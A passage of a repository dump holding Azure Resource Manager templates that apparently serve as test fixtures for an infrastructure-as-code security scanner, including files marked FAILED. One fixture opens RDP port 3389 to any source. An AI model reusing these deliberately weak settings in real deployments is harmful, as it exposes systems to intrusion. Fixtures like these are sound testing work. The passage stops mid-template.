    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SkipJsonRegex/skip2/skip1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SkipJsonRegex/skip2/skip2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SkipJsonRegex/skip2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"None\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Deny\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-03-01-hybrid/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password\"\n      }\n    },\n    \"a\": {\n      \"type\": \"string\"\n    },\n    \"b\": {\n      \"type\": \"string\"\n    },\n    \"c\": {\n      \"type\": \"string\"\n    },\n    \"e\": {\n      \"type\": \"string\"\n    },\n    \"f\": {\n      \"type\": \"string\"\n    },\n    \"g\": {\n      \"type\": \"string\"\n    },\n    \"h\": {\n      \"type\": \"string\"\n    },\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"pwd\": {\n      \"type\": \"string\"\n    },\n    \"wsName\": {\n      \"type\": \"string\"\n    },\n    \"BEvirtualMachineNames\": {\n      \"type\": \"string\"\n    },\n    \"BEsubnetIPPrefix\": {\n      \"type\": \"string\"\n    },\n    \"BEnicStartingAddress\": {\n      \"type\": \"string\"\n    },\n    \"onPremDNSServers\": {\n      \"type\": \"string\"\n    },\n    \"metadata\": {\n      \"type\": \"string\"\n    },\n    \"sku\": {\n      \"type\": \"string\"\n    },\n    \"batchSize\": {\n      \"type\": \"string\"\n    },\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\"\n    },\n    \"keyvaultSettings\": {\n      \"type\": \"string\"\n    },\n    \"keyvaultSecrets\": {\n      \"type\": \"string\"\n    },\n    \"newZoneName\": {\n      \"type\": \"string\"\n    },\n    \"nt0InstanceCount\": {\n      \"type\": \"string\"\n    },\n    \"newAccountName\": {\n      \"type\": \"string\"\n    },\n    \"storageAccountId\": {\n      \"type\": \"string\"\n    },\n    \"newRecordName\": {\n      \"type\": \"string\"\n    },\n    \"d\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"loadBalancerName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"This is the name of the load balancer\"\n      }\n    },\n    \"publicIPAddressID1\": \"123\",\n    \"nt0fabricTcpGatewayPort\": \"3000\",\n    \"nt0fabricHttpGatewayPort\": \"3000\",\n    \"lbIPName\": \"loadbalancerIPName\",\n    \"vmNodeType0Name\": \"virtualMachineName\",\n    \"importExportJobName\": \"ieJobName\"\n  },\n  \"outputs\": {\n    \"out1\": {\n      \"type\": \"secureObject\",\n      \"value\": {\n        \"abc\": \"val1\"\n      }\n    }\n  },\n  \"apiProfile\": \"2018-06-01-profile\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2015-11-01\",\n      \"name\": \"a\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"dnsConfig\": {\n          \"relativeName\": \"a\",\n          \"ttl\": \"[trim('a')]\",\n          \"fqdn\": \"a\"\n        },\n        \"monitorConfig\": {\n          \"path\": \"a\",\n          \"port\": 80,\n          \"protocol\": \"HTTP\"\n        },\n        \"trafficRoutingMethod\": \"Performance\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2015-11-01\",\n      \"name\": \"a\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"dnsConfig\": {\n          \"relativeName\": \"a\",\n          \"ttl\": \"[trim('a')]\",\n          \"fqdn\": \"a\"\n        },\n        \"monitorConfig\": {\n          \"path\": \"a\",\n          \"port\": 80,\n          \"protocol\": \"HTTP\"\n        },\n        \"trafficRoutingMethod\": \"Performance\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Cdn/profiles\",\n      \"apiVersion\": \"2015-06-01\",\n      \"name\": \"b\",\n      \"location\": \"Korea South\",\n      \"properties\": {\n        \"accessPolicies\": [],\n        \"sku\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.DataLakeAnalytics/accounts\",\n      \"apiVersion\": \"2015-10-01-preview\",\n      \"location\": \"Australia East\",\n      \"name\": \"DataLakeAnalyticsTest\",\n      \"properties\": {\n        \"dataLakeStoreAccounts\": [],\n        \"defaultDataLakeStoreAccount\": \"[parameters('b')]\",\n        \"storageAccounts\": [\n          {\n            \"name\": \"storageaccounttest\",\n            \"properties\": {\n              \"accessKey\": \"asb\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.DataLakeStore/accounts\",\n      \"apiVersion\": \"2015-10-01-preview\",\n      \"location\": \"Australia East\",\n      \"name\": \"b\",\n      \"properties\": {\n        \"defaultGroup\": \"parameters('b')\",\n        \"firewallRules\": [\n          {\n            \"name\": \"dfadf\",\n            \"properties\": {\n              \"endIpAddress\": \"1.0.0.0\",\n              \"startIpAddress\": \"1.0.0.0\"\n            }\n          }\n        ],\n        \"firewallState\": \"Enabled\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Scheduler/jobCollections\",\n      \"apiVersion\": \"2014-08-01-preview\",\n      \"name\": \"a\",\n      \"location\": \"Central India\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Free\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.DevTestLab/labs/virtualmachines\",\n      \"apiVersion\": \"2015-05-21-preview\",\n      \"name\": \"[ parameters('b') ]\",\n      \"location\": \"parameters('c')]\",\n      \"properties\": {\n        \"labSubnetName\": \"daf\",\n        \"labVirtualNetworkId\": \"dafda\",\n        \"size\": \"afadfa\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ContainerService/containerServices\",\n      \"apiVersion\": \"2016-03-30\",\n      \"location\": \"Australia East\",\n      \"name\": \"a\",\n      \"properties\": {\n        \"agentPoolProfiles\": [\n          {\n            \"count\": \"[parameters('c')]\",\n            \"dnsPrefix\": \"dafaf\",\n            \"name\": \"a\",\n            \"vmSize\": \"Standard_A0\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"a\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"afdaf\"\n              }\n            ]\n          }\n        },\n        \"masterProfile\": {\n          \"count\": 1,\n          \"dnsPrefix\": \"afdaf\"\n        },\n        \"orchestratorProfile\": {\n          \"orchestratorType\": \"Swarm\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.PowerBI/workspaceCollections\",\n      